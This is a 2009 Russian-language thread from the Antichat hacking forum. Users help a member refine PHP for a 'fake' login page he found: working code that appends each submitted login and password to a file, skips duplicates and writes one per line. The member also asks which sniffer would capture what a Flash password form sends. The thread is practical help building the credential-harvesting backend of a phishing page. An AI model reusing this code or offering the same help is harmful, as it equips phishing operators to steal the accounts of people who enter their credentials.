ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11431  
Старый 21.07.2009, 18:52
Аватар для FireFenix
FireFenix
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме:
3178262

Репутация: 389
По умолчанию

PHP код:
<?php

if (isset($_POST['var_1']) && isset($_POST['var_2']))
{
  
$link = @mysql_connect('localhost' 'user' 'login') or die('Такие вот пироги!');
  
$db_selected = @mysql_select_db('database'$link) or die('Такие вот пироги!');

  
$query 'SELECT COUNT(*) FROM table WHERE var_1="' mysql_escape_string($_POST['var_1']) . '" AND var_2="' mysql_escape_string($_POST['var_2']) . '"';
  
$result mysql_query($query);
  
$fetch mysql_fetch_row($result);

  if (
$fetch[0] == '0')
  {
    
mysql_query('INSERT INTO table SET var_1="' mysql_escape_string($_POST['var_1']) . '", var_2="' mysql_escape_string($_POST['var_2']) . '"');
  }
}

?>
где-то так
 
Ответить с цитированием

  #11432  
Старый 21.07.2009, 20:20
Аватар для fastiktut
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме:
35186

Репутация: 7
По умолчанию

Спасибо за совет. А вот если я так реализовал, чтобы в базу не записывать нашел пример фейка там все пишется в файл:
PHP код:
<?PHP
$Login 
$_POST['login']; // Логин
$Psw $_POST['psw']; // Пароль
// надо организовать проверку того, что есть уже в базе
$log fopen("password.php","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Psw \n"); //записываем всё
fclose($log); //закрываем

?>
можно так проверить?
 
Ответить с цитированием

  #11433  
Старый 21.07.2009, 20:33
Аватар для FireFenix
FireFenix
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме:
3178262

Репутация: 389
По умолчанию

PHP код:
<?php
$file 
'password.php';

$login $_POST['login'];
$password $_POST['psw'];

$item $login ':' $password;

$items file($file);

$finded False;

for (
$i 0$i count($items); $i++)
{
  if (
$items[$i] == $item)
  {
    
$finded True;
    break;
  }
}

if (
$finded == False)
{
  
$database fopen($file,'a+');
  
fwrite($database,"\r\n" $item);
  
fclose($database);
} else {
  echo(
'В базе есть!');
}

?>
где-то так

Последний раз редактировалось FireFenix; 21.07.2009 в 20:40..
 
Ответить с цитированием

  #11434  
Старый 21.07.2009, 20:41
Аватар для fastiktut
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме:
35186

Репутация: 7
По умолчанию

Спасибо конечно, но че-то не хочет работать как надо)
 
Ответить с цитированием

  #11435  
Старый 21.07.2009, 20:50
Аватар для fastiktut
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме:
35186

Репутация: 7
По умолчанию

все заработало, это я в delphi чуток не так посылал запрос. Спасибо еще раз. И еще можно вопрос по поводу Flash. Если есть форма по отправке пароля реализованная на флэш каким сниффером лучше узнать что он отправляет? Посоветуйте.
 
Ответить с цитированием

  #11436  
Старый 21.07.2009, 21:40
Аватар для fastiktut
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме:
35186

Репутация: 7
По умолчанию

В общем не так работает как надо) Все равно пропускает одинаковые значения. обидно(
 
Ответить с цитированием

  #11437  
Старый 21.07.2009, 21:59
Аватар для fastiktut
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме:
35186

Репутация: 7
По умолчанию

А как сделать, чтобы каждый новый параметр, т.е. логин:пароль писались с новой строчки?
 
Ответить с цитированием

  #11438  
Старый 21.07.2009, 22:08
Аватар для FireFenix
FireFenix
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме:
3178262

Репутация: 389
По умолчанию

смотря чем ты просматриваешь, некоторым редактором нужно возврат каретки + перенос строки, неотокрым хватает только переноса строки => используй (замени) для переноса "\r\n" или "\n"

PHP код:
<?php 
$delimetr 
"\n"//или "\r\n"
$file 'password.php'

$login $_POST['login']; 
$password $_POST['psw']; 

$item $login ':' $password

$items file($file); 

$finded False

for (
$i 0$i count($items); $i++) 

  if (
str_replace($delimetr''$items[$i]) == $item
  { 
    
$finded True
    break; 
  } 


if (
$finded == False

  
$database fopen($file,'a+'); 
  
fwrite($database$item $delimetr);
  
fclose($database); 
} else { 
  echo(
'В базе есть!');


?>

Последний раз редактировалось FireFenix; 21.07.2009 в 22:20..
 
Ответить с цитированием

  #11439  
Старый 21.07.2009, 22:21
Аватар для erihtoney
erihtoney
Познающий
Регистрация: 03.03.2009
Сообщений: 86
Провел на форуме:
994199

Репутация: 258
Отправить сообщение для erihtoney с помощью ICQ
По умолчанию

2fastiktut
PHP код:
<?php
$file
="file.dat"
$pass=$_GET['pass'];
$log=$_GET['log'];
$res=$log.";".$pass;
fclose(fopen($file,"a+b")); 
$f=fopen($file,"a+t"); 
flock($f,LOCK_EX);
$wr=$res."\n";
while(!
feof($f)){
    
$line=fgets($f);
    
$ar[]=$line;
}
function 
search($text$var)
{
    foreach (
$var as $val)
    {
        if (
is_array($val) && search($text$val)) return true;
        elseif (
$val==$text) return true;
    }
    return 
false;

$se=search($wr,$ar);
if(
$se == TRUE){
    echo 
"Error";
}
else {
$wr_res=fwrite($f,$wr);
        if(
$wr_res !== FALSE){
            echo 
"write";
        }
        else{
            echo 
"recording error";
        }
    }
?>
 
Ответить с цитированием

  #11440  
Старый 22.07.2009, 17:22
Аватар для alwex
alwex
Участник форума
Регистрация: 14.12.2008
Сообщений: 140
Провел на форуме:
186812

Репутация: 14
По умолчанию

помогите плиз с траблой

Последний раз редактировалось alwex; 22.07.2009 в 17:32..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT.XYZ